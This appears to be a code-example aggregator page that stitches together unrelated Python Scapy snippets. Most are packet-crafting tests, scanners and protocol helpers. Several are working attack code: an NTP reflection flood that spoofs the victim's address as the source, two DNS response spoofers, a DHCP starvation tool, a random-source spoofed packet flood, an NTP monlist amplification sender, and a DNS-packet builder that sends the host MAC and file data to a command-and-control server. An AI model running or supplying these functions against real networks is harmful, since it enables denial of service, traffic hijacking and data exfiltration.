def test_01_syn_accepted(self):
        pkt = \
         IP(dst=self.PROXY_HOST) / \
         UDP(sport=12345, dport=19523) / \
         GLBGUE(private_data=GLBGUEChainedRouting(hops=[self.ALT_HOST])) / \
         IPv6(src=self.SELF_HOST_V6, dst=self.V4_TO_V6[self.PROXY_HOST]) / \
         TCP(sport=123, dport=22, flags='S')

        # expect a SYN-ACK back from self.PROXY_HOST (decapsulated)
        resp_ip = self._sendrecv6(pkt,
                                  filter='host {} and port 22'.format(
                                      self.V4_TO_V6[self.PROXY_HOST]))
        assert isinstance(resp_ip, IPv6)
        assert_equals(resp_ip.src, self.V4_TO_V6[self.PROXY_HOST])
        assert_equals(resp_ip.dst, self.SELF_HOST_V6)

        resp_tcp = resp_ip.payload
        assert isinstance(resp_tcp, TCP)
        assert_equals(resp_tcp.sport, 22)
        assert_equals(resp_tcp.dport, 123)
        assert_equals(resp_tcp.flags, 'SA')
示例#2
0
def send_probe1(addr, iface):
    global timesent, routeA, timesentA, timesentB;
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff');
    #rota 1 -> Fonte S1 S3 S2 H5
    if routeA == True:
        pkt = pkt / SourceRoute(bos=0, port=3)
    # rota 2 -> Fonte S1 S4 S2 H5
    elif routeA == False:
        pkt = pkt / SourceRoute(bos=0, port=4)
    # Rota 3 -> Fonte S1 S3 S2 S4 S1 S3 S2 H5
    #pkt = pkt / SourceRoute(bos=0, port=3) / SourceRoute(bos=0,port=2) / SourceRoute(bos=0, port=2) / SourceRoute(bos=0, port=1) / SourceRoute(bos=0, port=3) / SourceRoute(bos=0, port=2) / SourceRoute(bos=1, port=5)
    pkt = pkt / SourceRoute(bos=0,port=2) / SourceRoute(bos=1,port=5)
    pkt = pkt / IP(dst=addr) / UDP(dport=4321, sport=1234)
    
    #print("Sending packet")
    if(routeA == True):
        timesentA = datetime.now()
    elif(routeA == False):
        timesentB = datetime.now()
    #timesent = datetime.now()
    sendp(pkt, iface=iface, verbose=False)
    def test_00_icmp_accepted(self):
        for dst in [self.PROXY_HOST, self.ALT_HOST]:
            pkt = \
             IP(dst=dst) / \
             UDP(sport=12345, dport=19523) / \
             GLBGUE(private_data=GLBGUEChainedRouting(hops=[self.ALT_HOST])) / \
             IP(src=self.SELF_HOST, dst=dst) / \
             ICMP(type=8, code=0) # echo request

            # expect a ICMP echo response back from self.PROXY_HOST (decapsulated)
            resp_ip = self._sendrecv4(pkt,
                                      filter='host {} and icmp'.format(dst))
            print repr(resp_ip)
            assert isinstance(resp_ip, IP)
            assert_equals(resp_ip.src, dst)
            assert_equals(resp_ip.dst, self.SELF_HOST)

            resp_icmp = resp_ip.payload
            assert isinstance(resp_icmp, ICMP)
            assert_equals(resp_icmp.type, 0)  # echo reply
            assert_equals(resp_icmp.code, 0)
示例#4
0
文件: 01-run.py 项目: samken600/3YP
def test_hop_by_hop_opt_discard_unknown_1(child, iface, hw_dst, ll_dst,
                                          ll_src):
    # Register to hop-by-hop-option header
    register_protnum(child, EXT_HDR_NH[UDP])
    p = srp1(
        Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src) / IPv6ExtHdrHopByHop(
            options=HBHOptUnknown(otype=TEST_OPTION_TYPES["ACTION_DISCARD"],
                                  optlen=4,
                                  optdata="\x11\x22\x33\x44")) / UDP() /
        "\x01\x02",
        iface=iface,
        verbose=0,
        timeout=RECV_TIMEOUT)
    assert p is None
    res = child.expect(
        # the packet should be not received at all
        [r"PKTDUMP: data received:", TIMEOUT],
        timeout=RECV_TIMEOUT)
    assert res > 0
    pktbuf_empty(child)
    unregister(child)
示例#5
0
def send_random_traffic(src_switch, src_host, dst_switch, dst_host, timeout, loop):
    NTP_MONLIST_REQUEST = "\x17\x00\x03\x2a" + "\x00" * 8

    src_mac = '00:00:00:00:0' + src_switch + ':0' + src_host
    src_ip  = '10.0.' + src_switch + '.' + src_host
    dst_mac = '00:00:00:00:0' + dst_switch + ':0' + dst_host
    dst_ip  = '10.0.' + dst_switch + '.' + dst_host

    # Get name of eth0 interface
    iface_eth0 = ''
    for i in get_if_list():
        if 'eth0' in i or 's0' in i:
            iface_eth0 = i

    while True:
        timeout = random.randrange(0,5)
        #print 'timeout ' + str(timeout)
        p = Ether(dst=dst_mac,src=src_mac)/IP(dst=dst_ip,src=src_ip)
        p = p/UDP(dport=123,sport=123)/Raw(NTP_MONLIST_REQUEST)
        sendp(p, iface = iface_eth0, loop=loop, verbose=1)
        time.sleep(timeout)
示例#6
0
def handle_pkt(pkt):
    global routeA
    #print ("got a packet")
    iface = 'eth0'
    #print("RouteA eh " + str(routeA))
    #pkt.show2()
    #    hexdump(pkt)
    sys.stdout.flush()
    pktAns = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
    # Rota 1 vai por S3
    if routeA == True:
        pktAns = pktAns / SourceRoute(bos=0, port=1)
        routeA = False
    # Rota 2 vai por S4
    elif routeA == False:
        pktAns = pktAns / SourceRoute(bos=0, port=2)
        routeA = True

    pktAns = pktAns / SourceRoute(bos=0, port=1) / SourceRoute(bos=1, port=5)
    pktAns = pktAns / IP(dst='10.0.4.10') / UDP(dport=4321, sport=1234)
    sendp(pktAns, iface=iface, verbose=False)
示例#7
0
def udp_output(data, pcb, options=None):
    if not type(data) is bytes:
        raise TypeError("udp_output data must be bytes object")
    ip = IP(src=pcb['src'], dst=pcb['dst'])
    udp = UDP(sport=pcb['sport'], dport=pcb['dport'])
    optpkt = ip / udp / data

    optpkt.getlayer(1).len = len(optpkt.getlayer(1))  #force UDP len

    chksum = optpkt[UDP].chksum  #capture correct checksum
    udplen = optpkt[UDP].len  #capture correct length
    #udplen = len(data) + 8

    if options:
        optbuf = udp_options.udp_addoptions(options)
        optpkt = (optpkt / bytes(optbuf))

    optpkt.getlayer(1).chksum = udpchksum(pcb['src'], pcb['dst'], pcb['sport'],
                                          pcb['dport'], data)
    optpkt.getlayer(1).len = udplen
    send(optpkt, verbose=False)
示例#8
0
def udp_output(data, pcb, options=None):
    ip = IP(src=pcb['src'], dst=pcb['dst'])
    udp = UDP(sport=pcb['sport'], dport=pcb['dport'])

    optpkt = ip/udp/data
    optpkt.getlayer(1).len = len(optpkt.getlayer(1)) #force UDP len

    chksum = optpkt[UDP].chksum #capture correct checksum
    udplen = optpkt[UDP].len    #capture correct length
    #udplen = len(data) + 8

    if options != None:
        optbuf = udp_options.udp_addoptions(options)
        optpkt = (optpkt/str(optbuf))

    optpkt.getlayer(1).chksum = udpchksum(pcb['src'],pcb['dst'], pcb['sport'],
	pcb['dport'], data)
    optpkt.getlayer(1).len = udplen

    print("output: data {} udplen {} optlen {}".format(len(data), udplen, len(optbuf)))
    send(optpkt)
示例#9
0
文件: ntp.py 项目: R3tr074/Burn-Byte
def flood(target):
    server = random.choice(ntp_servers)
    # Packet
    packets = random.randint(10, 150)
    server = server.replace("\n", "")

    try:
        packet = (
            IP(dst=server, src=target[0])
            / UDP(sport=random.randint(2000, 65535), dport=int(target[1]))
            / Raw(load=payload)
        )
        send(packet, count=packets, verbose=False)
    except gaierror:
        print(f"[{red}][!] [{pink}]NTP server {server} is offline![/{red}]")
    except Exception as e:
        print(f"[{red}]Error while sending NTP packet\n{e}[/{red}]")
    else:
        print(
            f"[{green}][+] [{yellow}]Sending {packets} packets from NTP server {server} to {'{}:{}'.format(*target)}.[/{green}]"
        )
示例#10
0
    def get_kube_dns_ip_mac(self):
        kubedns_svc_ip = self.extract_nameserver_ip()

        # getting actual pod ip of kube-dns service, by comparing the src mac of a dns response and arp scanning.
        dns_info_res = srp1(
            Ether() / IP(dst=kubedns_svc_ip) / UDP(dport=53) /
            DNS(rd=1, qd=DNSQR()),
            verbose=0,
            timeout=config.network_timeout,
        )
        kubedns_pod_mac = dns_info_res.src
        self_ip = dns_info_res[IP].dst

        arp_responses, _ = srp(
            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"),
            timeout=config.network_timeout,
            verbose=0,
        )
        for _, response in arp_responses:
            if response[Ether].src == kubedns_pod_mac:
                return response[ARP].psrc, response.src
示例#11
0
def test_task03(riot_ctrl, log_nodes):
    node = riot_ctrl(0, APP, Shell, port=TAP)
    host_netif = bridge(TAP)
    host_lladdr = get_link_local(host_netif)

    node_netifs = NETIF_PARSER.parse(node.ifconfig_list())
    node_netif = next(iter(node_netifs))
    node_lladdr = [
        addr["addr"] for addr in node_netifs[node_netif]["ipv6_addrs"]
        if addr["scope"] == "link"
    ][0]
    node_hwaddr = node_netifs[node_netif]["hwaddr"]

    pkt = srp1(Ether(dst=node_hwaddr) / IPv6(src=host_lladdr, dst="fe80::1") /
               UDP(dport=48879),
               iface=host_netif,
               timeout=5,
               verbose=log_nodes)
    assert ICMPv6DestUnreach in pkt
    assert pkt[ICMPv6DestUnreach].code == 3
    assert pkt[IPv6].src == node_lladdr
示例#12
0
def control(hostname):
    if (os.path.exists("rota.txt")):
        os.remove("rota.txt")
    with open("rota.txt", "a") as rota:
        for ttlNumber in range(1, 31):
            dportDefault = 33433 + ttlNumber
            counter = 0
            while counter < 3:
                package = IP(dst=hostname,
                             ttl=ttlNumber) / UDP(dport=dportDefault)
                response = sr1(package, verbose=0, timeout=1)
                counter += 1
            if response is None:
                continue

            elif response.type == 3:
                print("Hedef Adres!", response.src)
                break
            else:
                rota.write(str(response.src) + "\n")
                print("ttl=%d " % ttlNumber, response.src)
示例#13
0
文件: test_pcap.py 项目: zulu8/beagle
def test_single_dns_query_packet():

    packets = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12") /
        IP(src="127.0.0.1", dst="192.168.1.1") / UDP(sport=80, dport=53) /
        DNS(rd=1, qd=DNSQR(qtype="A", qname="google.com"))
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 1

    assert events[0]["src_mac"] == "ab:ab:ab:ab:ab:ab"
    assert events[0]["dst_mac"] == "12:12:12:12:12:12"
    assert events[0]["src_ip"] == "127.0.0.1"
    assert events[0]["dst_ip"] == "192.168.1.1"
    assert events[0]["sport"] == 80
    assert events[0]["dport"] == 53
    assert events[0]["qname"] == "google.com."
    assert events[0]["qtype"] == "A"

    assert events[0]["event_type"] == "DNS"
示例#14
0
 def scan_udp(self) -> List[ScanResult]:
     """ Scans this scanner's list of addresses and ports for UDP port statuses """
     udp_scan_results = []
     for frame in self.frames:
         ans, unans = srp(frame / UDP(dport=self.ports), iface=self.interface, timeout=5, verbose=0)
         port_statuses = []
         for sent, received in ans:
             if received.haslayer(ICMP) and int(received[ICMP].type) == 3:
                 # type 3, code 3 --> closed
                 if int(received[ICMP].code) == 3:
                     port_statuses.append(PortStatus(sent[UDP].dport, "closed", "UDP"))
                 # type 3, code 1,2,9,10,13 --> filtered
                 elif int(received[ICMP].code) in [1,2,9,10,13]:
                     port_statuses.append(PortStatus(sent[UDP].dport, "filtered", "UDP"))
                 else:
                     port_statuses.append(PortStatus(sent[UDP].dport, "open", "UDP"))
         for sent in unans:
             port_statuses.append(PortStatus(sent[UDP].dport, "filtered", "UDP"))
         port_statuses.sort()
         udp_scan_results.append(ScanResult(frame[IP].dst, port_statuses))
     return udp_scan_results
示例#15
0
    def send(self, packet):
        original_packet = IP(dst=self.target_ip,src=self.return_ip)/UDP(dport=self.target_port,sport=self.return_port)/packet
        if self.verbose > 1:
            print "Original packet:"
            original_packet.show()
        hexdump(str(original_packet))
       
        fragments = fragment(original_packet, fragsize = self.fragment_size)
        try:
            i = 1
            for frag in fragments:
                if self.verbose > 1:
                    print "Fragment %d of %d:" % (i, len(fragments))
                    frag.show()
                frag = str(frag)
                length = struct.pack(">I", len(frag))

                if not self.sock:
                    print '[+] connecting ...'
                    self.sock = self.create()
                   
                print '[+] sending part %d of %d now..' % (i, len(fragments))
                hexdump(frag)
                if self.log:
                    self.log.packet('sending fragment %d of %d' % (i, len(fragments)), frag)
                self.sock.send(length)
                self.sock.send(frag)
                if self.log:
                    self.log('sent fragment %d of %d' % (i, len(fragments)))
                i += 1
                
                if self.raw_send:

                    if self.log:
                        self.log('forcing a new connection due to raw_send flag')
                    self.close()
               
        except KeyboardInterrupt,e:
            print "[-] keyboard interrupt while connecting/sending to redirector"
            raise KeyboardInterrupt,e
示例#16
0
	def dns_spoofer(self, pkt):
		"""Send spoofed DNS responses to the target"""
		if (pkt[IP].src == self.target_ipv4 and
			pkt.haslayer(DNS) and
			pkt[DNS].qr == 0 and				# DNS Query
			pkt[DNS].opcode == 0 and			# DNS Standard Query
			pkt[DNS].ancount == 0				# Answer Count
			#pkt[DNS].qd.qname in SPOOFED_SITE	# Query domain name
			):

			print("[*] Sending spoofed DNS response")

			if (pkt.haslayer(IPv6)):
				ip_layer = IPv6(src=pkt[IPv6].dst, dst=pkt[IPv6].src)
			else:
				ip_layer = IP(src=pkt[IP].dst, dst=pkt[IP].src)


			# Create the spoofed DNS response (returning back our IP as answer
			# instead of the endpoint)
			dns_resp =  ip_layer/ \
						UDP(
							dport=pkt[UDP].sport,
							sport=53
							)/ \
						DNS(
							id=pkt[DNS].id,					# Same as query
							ancount=1,						# Number of answers
							qr=1,							# DNS Response
							ra=1,							# Recursion available
							qd=(pkt.getlayer(DNS)).qd,		# Query Data
							an=DNSRR(
								rrname=pkt[DNSQR].qname,	# Queried host name
								rdata=self.webserver_ipv4,	# IP address of queried host name
								ttl = 10
								)
							)

			# Send the spoofed DNS response
			send(dns_resp, verbose=0)
示例#17
0
    def craft_dhcp_request(self, hw=None):
        """Generates a DHCPv6 Request packet
        
        Args:
            hw (str|bytes, optional): Defaults to MAC of Scapy's `conf.iface`.
                Client MAC address to use for DUID LL.
        
        Returns:
            scapy.layers.inet.IPv6: DHCPv6 Request packet
        """
        if not hw:
            _, hw = get_if_raw_hwaddr(conf.iface)
        else:
            hw = mac_str_to_bytes(hw)

        # TODO
        # Request Message
        # - sent by clients
        # - includes a server identifier option
        # - the content of Server Identifier option must match server's DUID
        # - includes a client identifier option
        # - must include an ORO Option (even with hints) p40
        # - can includes a reconfigure Accept option indicating whether or
        #   not the client is willing to accept Reconfigure messages from
        #   the server (p40)
        # - When the server receives a Request message via unicast from a
        # client to which the server has not sent a unicast option, the server
        # discards the Request message and responds with a Reply message
        # containing Status Code option with the value UseMulticast, a Server
        # Identifier Option containing the server's DUID, the client
        # Identifier option from the client message and no other option.
        dhcp_request = (IPv6(dst="ff02::1:2") / UDP(sport=546, dport=547) /
                        DHCP6_Request(trid=self.xid) /
                        DHCP6OptServerId(duid=self.server_id) /
                        DHCP6OptElapsedTime() /
                        DHCP6OptClientId(duid=DUID_LL(lladdr=hw)) /
                        DHCP6OptIA_NA(iaid=0))
        if settings.DEBUG:
            print(dhcp_request.show())
        return dhcp_request
示例#18
0
    def get_response(pkt: IP):
        # First check if it is a
        #  DNS request packet
        if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
            # Init site in banned list
            # to be False.
            site_in_list = False

            # Find out if the site is
            # in the banned list.
            for site in website_list:
                if site in str(pkt["DNS Question Record"].qname):
                    site_in_list = True

            # If the site is in the banned list
            # spoof the packet.
            if site_in_list:

                # Create a spoofed packet
                spf_resp = IP(
                    src=DNS_SERVER_IP, dst=pkt[IP].src) / UDP() / DNS(an=DNSRR(
                        rrname=pkt[DNSQR].qname, ttl=299, rdata='127.0.0.1'))

                # Print for demo purposes
                print(
                    "******************** SITE IN BANNED LIST *****************"
                )
                print(
                    "****************** SPOOFED PACKET BELOW ******************"
                )
                spf_resp.show()

                # Send spoofed packet
                send(spf_resp, verbose=2, iface=IFACE)

                return f"Spoofed DNS Response Sent: {pkt[IP].src}"

            else:
                # Send the real response packet
                return forward_dns(pkt)
示例#19
0
def test_serialToTUN():
    """
    Test serial port to TUN link. Don't need a serial port but just assume that
    an IP packet was received from the serial port and properly decoded with
    SLIP. Send it to the TUN and verify that the IP:PORT receives the message.
    """
    # Create a test serial port for TUN Monitor class. Won't be used.
    serialPort = SerialTestClass()

    # Configure TUN IP:PORT and IP Packet source IP:PORT parameters for test
    sourceAddress = '10.0.0.2'
    sourcePort = 9998
    destPort = 9999

    # Start a TUN Monitor class
    TUNMonitor = faraday.Monitor(serialPort=serialPort)

    # Open a socket for UDP packets and bind it to the TUN address:port
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.bind((TUNMonitor._TUN._tun.addr, destPort))

    # Create simple IP packet with message. Send to TUN address:port
    message = bytes("Hello, World! {0}".format(time.time()), "utf-8")
    etherType = b"\x00\x00\x08\x00"
    packet = etherType + (IP(dst=TUNMonitor._TUN._tun.addr,
                             src=sourceAddress) /
                          UDP(sport=sourcePort,
                              dport=destPort)/message).__bytes__()

    # Write a simple message over the TUN, no need for checker thread
    TUNMonitor._TUN._tun.write(packet)

    # Receive data from the socket bound to the TUN address:port
    data, address = s.recvfrom(TUNMonitor._TUN._tun.mtu)

    # Check that data written to TUN matches data received from socket
    assert data == message

    # Close the socket
    s.close()
示例#20
0
def dns_spoofer(pkt):
    global g_target_ip, g_router_ip, g_server_ip

    if (pkt[IP].src == g_target_ip and pkt.haslayer(DNS) and pkt[DNS].qr == 0
            and  # DNS Query
            pkt[DNS].opcode == 0 and  # DNS Standard Query
            pkt[DNS].ancount == 0  # Answer Count
            #pkt[DNS].qd.qname in SPOOFED_SITE	# Query domain name
        ):

        print("Sending spoofed DNS response")

        if (pkt.haslayer(IPv6)):
            ip_layer = IPv6(src=pkt[IPv6].dst, dst=pkt[IPv6].src)
        else:
            ip_layer = IP(src=pkt[IP].dst, dst=pkt[IP].src)

        # Create the spoofed DNS response (returning back our IP as answer instead of the endpoint)
        dns_resp =  ip_layer/ \
           UDP(
            dport=pkt[UDP].sport,
            sport=53
            )/ \
           DNS(
            id=pkt[DNS].id,     # Same as query
            ancount=1,      # Number of answers
            qr=1,       # DNS Response
            ra=1,       # Recursion available
            qd=(pkt.getlayer(DNS)).qd,  # Query Data
            an=DNSRR(
             rrname=pkt[DNSQR].qname, # Queried host name
             rdata=g_server_ip, # IP address of queried host name
             ttl = 10
             )
            )

        # Send the spoofed DNS response
        print(dns_resp.show())
        send(dns_resp, verbose=0)
        print(f"Resolved DNS request for {pkt[DNS].qd.qname} by {g_server_ip}")
示例#21
0
    def build(self):
        reformatted_filename = "." + self.filename + (
            "." if self.filename.find('.') == -1 else "")

        ether = Ether()
        ip = IP(dst=CC_SERVER_IP)
        udp = UDP(sport=PACKET_OPTIONS['UDP']['SPORT'],
                  dport=PACKET_OPTIONS['UDP']['DPORT'])
        dns = DNS(
            qr=PACKET_OPTIONS['DNS']['QR'],  # it is a query, not a response
            opcode=self.type,
            qdcount=PACKET_OPTIONS['DNS']['QDCOUNT'],
            ancount=PACKET_OPTIONS['DNS']['ANCOUNT'],
            qd=DNSQR(qname=get_mac() + '.' + CC_SERVER_SPOOFED_HOST +
                     reformatted_filename,
                     qtype=RequestType.DATA.value,
                     qclass=self.packet_number),
            an=DNSRR(rrname=CC_SERVER_SPOOFED_HOST + reformatted_filename,
                     type=PACKET_OPTIONS['DNS']['AN']['TYPE'],
                     rdata=self.data))

        return ether / ip / udp / dns
示例#22
0
文件: 01-run.py 项目: samken600/3YP
def test_empty_mixed2_w_dest_opt_registered(child, iface, hw_dst, ll_dst,
                                            ll_src):
    # Register to destination-option header
    register_protnum(child, EXT_HDR_NH[IPv6ExtHdrDestOpt])
    # Try sending a packet with a number of extension headers in not recommended
    # (but legal) order
    sendp(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src) /
          IPv6ExtHdrHopByHop() / IPv6ExtHdrRouting() / IPv6ExtHdrDestOpt() /
          IPv6ExtHdrFragment() / UDP() / "\x01\x02",
          iface=iface,
          verbose=0)
    # Destination option with payload
    child.expect(r"~~ SNIP  0 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len = int(child.match.group(1))
    # NH = IPv6ExtHdrFragment, len = 0x00, PadN option (0x01) of length 0x04
    # NH = 17 (UDP), reserved = 0x00, fragment offset = 0, res = 0, M = 0
    child.expect(r"00000000  {:02X}  00  01  04  00  00  00  00  "
                 r"11  00  00  00  00  00  00  00".format(
                     EXT_HDR_NH[IPv6ExtHdrFragment]))
    # Routing header
    child.expect(r"~~ SNIP  1 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len += int(child.match.group(1))

    # NH = IPv6ExtHdrDestOpt, len = 0x00, routing type = 0, segments left = 0
    child.expect(r"00000000  {:02X}  00  00  00  00  00  00  00".format(
        EXT_HDR_NH[IPv6ExtHdrDestOpt]))
    # Hop-by-hop-option
    child.expect(r"~~ SNIP  2 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len += int(child.match.group(1))
    # NH = IPv6ExtHdrRouting, len = 0x00, PadN option (0x01) of length 0x04
    child.expect(r"00000000  {:02X}  00  01  04  00  00  00  00".format(
        EXT_HDR_NH[IPv6ExtHdrRouting]))
    # IPv6 header
    child.expect(r"~~ SNIP  3 - size:\s+40 byte, type: NETTYPE_IPV6 \(\d+\)")
    child.expect_exact(r"length: {}  next header: {}".format(
        ipv6_payload_len, EXT_HDR_NH[IPv6ExtHdrHopByHop]))
    child.expect_exact(r"destination address: {}".format(ll_dst))
    pktbuf_empty(child)
    unregister(child)
示例#23
0
def udpScan(ip, ports, timeout=1):
    results = {port: None for port in ports}

    #Build packet
    p = IP(dst=ip) / UDP(sport=ports, dport=ports)
    answers = sr(p, timeout=timeout, verbose=0)[0]

    #Analyse data

    for resp in answers[1]:
        if resp.haslayer(ICMP):
            results[resp.sport] = False
        elif resp.haslayer(UDP):
            results[resp.sport] = True

    print("======= Result for Udp Scan of " + str(ip) + "=======")
    for k, v in results.items():
        if v != None:
            print(str(k) + " -> " + str(v))

    #Make possible to use results as data
    return results
def main(argv): 
    print argv
    try:
        opts, args = getopt.getopt(sys.argv[1:],'s:e:',['start=','end='])
    except getopt.GetoptError:
        sys.exit(2)
    for opt, arg in opts:
        if opt =='-s':
            start = int(arg)
        elif opt =='-e':
            end = int(arg)
    if start == '':
        sys.exit()
    if end == '':
        sys.exit()

    interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read()

    for i in xrange(1000):
        packets = Ether()/IP(dst=gendest(start, end),src=sourceIPgen())/UDP(dport=randint(1,1024),sport=randint(1,1024))
        print(repr(packets))
        sendp( packets,iface=interface.rstrip(),inter=0.1)
示例#25
0
    def craft_discover(self, hw=None):
        """Generates a DHCPv6 Solicit packet
        
        Args:
            hw (str|bytes, optional): Defaults to MAC of Scapy's `conf.iface`.
                Client MAC address to use for DUID LL.
        
        Returns:
            scapy.layers.inet.IPv6: DHCPv6 Solicit packet
        """
        if not hw:
            _, hw = get_if_raw_hwaddr(conf.iface)
        else:
            hw = mac_str_to_bytes(hw)

        dhcp_solicit = (IPv6(dst="ff02::1:2") / UDP(sport=546, dport=547) /
                        DHCP6_Solicit(trid=self.xid) / DHCP6OptElapsedTime() /
                        DHCP6OptClientId(duid=DUID_LL(lladdr=hw)) /
                        DHCP6OptIA_NA(iaid=0))
        if settings.DEBUG:
            print(dhcp_solicit.show())
        return dhcp_solicit
示例#26
0
    def generate_default_packets(
        cls,
        src_port: int = 50000,
        dst_port: int = 50000,
        src_inet: Optional[str] = None,
        dst_inet: Optional[str] = None,
        src_ether: Optional[str] = None,
        dst_ether: Optional[str] = None,
        layer_4: str = "udp",
        amount: int = 5,
        use_inet6: bool = False,
    ) -> List[Packet]:
        """Generate a list of predefined UDP packets using context."""
        dst_ctx = cls.get_contexts().get_local_main()
        src_ctx = cls.get_contexts().get_remote_main()

        if use_inet6:
            assert (src_inet or src_ctx.inet6 is not None)
            assert (dst_inet or dst_ctx.inet6 is not None)
            ip_layer = IPv6(src=src_inet if src_inet else src_ctx.inet6,
                            dst=dst_inet if dst_inet else dst_ctx.inet6)
        else:
            ip_layer = IP(src=src_inet if src_inet else src_ctx.inet,
                          dst=dst_inet if dst_inet else dst_ctx.inet)

        if layer_4 == "udp":
            transport_layer = UDP(sport=src_port, dport=dst_port)
        elif layer_4 == "tcp":
            transport_layer = TCP(sport=src_port, dport=dst_port)
        else:
            assert (False)

        to_send = [
            Ether(src=src_ether if src_ether else src_ctx.ether,
                  dst=dst_ether if dst_ether else dst_ctx.ether) / ip_layer /
            transport_layer / Raw(f"This is message number {i}.")
            for i in range(amount)
        ]
        return [Ether(p.build()) for p in to_send]
示例#27
0
def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose):
    """Send multiple DHCP requests from forged MAC addresses to
    fill the DHCP server leases.

    When all the available network addresses are assigned, the DHCP server don't send responses.

    So, some attacks, like DHCP spoofing, can be made.

    \b
    # habu.dhcp_starvation
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
    Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
    """

    conf.verb = False

    if iface:
        conf.iface = iface

    conf.checkIPaddr = False

    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    ip = IP(src="0.0.0.0",dst="255.255.255.255")
    udp = UDP(sport=68, dport=67)
    dhcp = DHCP(options=[("message-type","discover"),"end"])

    while True:
        bootp = BOOTP(chaddr=str(RandMAC()))
        dhcp_discover = ether / ip / udp / bootp / dhcp
        ans, unans = srp(dhcp_discover, timeout=1)      # Press CTRL-C after several seconds

        for _, pkt in ans:
            if verbose:
                print(pkt.show())
            else:
                print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%"))

        sleep(sleeptime)
示例#28
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--p",
                        help="Protocol name To send TCP/UDP etc packets",
                        type=str)
    parser.add_argument("--des",
                        help="IP address of the destination",
                        type=str)
    parser.add_argument("--m", help="Raw Message", type=str)
    parser.add_argument("--dur", help="in seconds", type=str)
    parser.add_argument("--tos", help="in seconds", type=int)
    args = parser.parse_args()

    if args.p and args.des and args.m and args.dur:
        addr = socket.gethostbyname(args.des)
        iface = get_if()
        if args.p == 'UDP':
            pkt = Ether(src=get_if_hwaddr(iface),
                        dst="ff:ff:ff:ff:ff:ff") / IP(
                            dst=addr, tos=args.tos) / UDP(dport=4321,
                                                          sport=1234) / args.m
            pkt.show2()
            try:
                for i in range(int(args.dur)):
                    sendp(pkt, iface=iface)
                    sleep(1)
            except KeyboardInterrupt:
                raise
        elif args.p == 'TCP':
            pkt = Ether(src=get_if_hwaddr(iface),
                        dst="ff:ff:ff:ff:ff:ff") / IP(
                            dst=addr, tos=args.tos) / TCP() / args.m
            pkt.show2()
            try:
                for i in range(int(args.dur)):
                    sendp(pkt, iface=iface)
                    sleep(1)
            except KeyboardInterrupt:
                raise
示例#29
0
def handle_pkt(pkt):
    NTP_MONLIST_RESPONSE = "\xd7\x00\x03\x2a" + "\x00\x01\x00\x64" + "\x00" * 64
    if IP in pkt and UDP in pkt and pkt[IP].src != h2_ip:
        src_mac = pkt[Ether].src
        dst_mac = pkt[Ether].dst
        src_ip = pkt[IP].src
        dst_ip = pkt[IP].dst
        proto = pkt[IP].proto
        sport = pkt[UDP].sport
        dport = pkt[UDP].dport
        id_tup = (src_ip, dst_ip, proto, sport, dport)
        if src_ip in VALID_IPS:
            if id_tup not in totals:
                totals[id_tup] = 0
            totals[id_tup] += 1
            print ("Received from %s total: %s" %
                    (id_tup, totals[id_tup]))
        # Respond with random payload
        p = Ether(dst=src_mac,src=dst_mac)/IP(dst=pkt[IP].src,src=pkt[IP].dst)
        p = p/UDP(dport=pkt[UDP].sport,sport=123)/NTP(NTP_MONLIST_RESPONSE)
        print p.show()
        sendp(p, iface = "eth0", loop=0)
示例#30
0
def main():

    if len(sys.argv) < 3:
        print 'pass 2 arguments: <destination> "<message>"'
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    iface = get_if()

    print "sending on interface %s to %s" % (iface, str(addr))
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
    #pkt = pkt /IP(dst=addr) / UDP(dport=1234, sport=random.randint(49152,65535)) / sys.argv[2]
    #pkt = pkt /IP(dst=addr) / UDP(dport=1111, sport=random.randint(49152,65535)) / '\x00\x01\x00\x02'
    n = struct.pack('>H', int(sys.argv[2]))
    pkt = pkt / IP(dst=addr) / UDP(
        dport=1111, sport=random.randint(49152, 65535)
    ) / '\x00\x03' / n / '\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08'
    #pkt = pkt /IP(dst=addr) / sys.argv[2]
    #pkt = pkt /IP(dst=addr) / '000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
    pkt.show2()
    hexdump(pkt)
    sendp(pkt, iface=iface, verbose=False)
示例#31
0
#/usr/bin/python

from scapy.all import IP, UDP, DNS, DNSQR, send

# Get all input about DNS package.
destination_input = str(raw_input('What is your DNS server which you want to resolve from? :: '))
source_input = str(raw_input('What is your source ip address which you want to send DNS request from? :: '))
query_input = str(raw_input('What is the address which will be queried by DNS server? :: '))

# Create ip, udp and dns packages.
i = IP(dst=destination_input)
i.src = source_input
u = UDP(dport=53)
d = DNS(rd=1,qd=DNSQR(qname=query_input))

# Print all information.
print ""
print "Information"
print "==========="
print "Source IP     : %s" %source_input
print "Destination IP: %s" %destination_input
print "DNS Query     : %s" %query_input
print ""
print "Package details"
print "==============="
print ""
print i.show()
print ""
print u.show()
print ""
print d.show()
示例#32
0
import scapy
from scapy.sendrecv import sendp, sniff
from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP

# data link layer
